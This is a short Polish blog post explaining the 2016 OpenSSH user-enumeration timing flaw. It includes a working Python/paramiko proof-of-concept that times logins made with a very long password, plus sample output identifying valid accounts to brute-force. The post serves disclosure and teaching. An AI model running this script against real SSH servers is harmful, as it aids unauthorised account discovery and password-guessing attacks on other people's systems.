OpenSSHD <= 7.2p2 - User Enumeration

Dość ciekawa podatność została zgłoszona 14 lipca na seclistę: http://seclists.org/fulldisclosure/2016/Jul/51

Dotyczy ona daemona ssh, popularnego w środowisku Linux (jest to serwer, standardowo nasłuchujący na porcie 22/tcp, który udostępnia bezpieczne połączenie do konsoli).

Zabawny błąd polega na możliwości wylistowania (raczej zgadnięcia/wytypowania) użytkowników, którzy mogą się zalogować przez ssh (jeśli użytkownik root, będzie miał wyłączoną możliwość logowania bezpośrednio, wtedy zostanie oznaczony jako niepoprawny login).

Na czym polega owy problem, otóż posługując się kawałkiem kodu, który mierzy czasy odpowiedzi:

import paramiko
import time
user=raw_input("user: ")
p='A'*25000
ssh = paramiko.SSHClient()
starttime=time.clock()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
         ssh.connect('127.0.0.1', username=user,password=p)
except: 
         endtime=time.clock()
total=endtime-starttime
print(total)

można w łatwy sposób wytypować prawidłowe loginy.

Związane jest to z faktem, że openssh w przypadku, gdy próbujemy zautoryzować się nieistniejącym użytkownikiem korzysta z algorytmu Blowfish do obliczania hasha. W przypadku gdy podamy prawidłowy login zostaje użyty SHA256/SHA512, odpowiedź jest zatem dłuższa.

Testy:

root@# python 1.py 
user: root
0.264744
root@# python 1.py 
user: non
0.444982
root@# python 1.py 
user: ono
0.434169
root@# python 1.py 
user: inny
0.283083
root@# python 1.py 
user: nieznany
0.260993

Z powyższych testów wynika, że spokojnie można brute forcować użytkowników ono oraz non.

Błąd zgłoszony został już na do developerów openssh i z pewnością niedługo pojawi się łatka.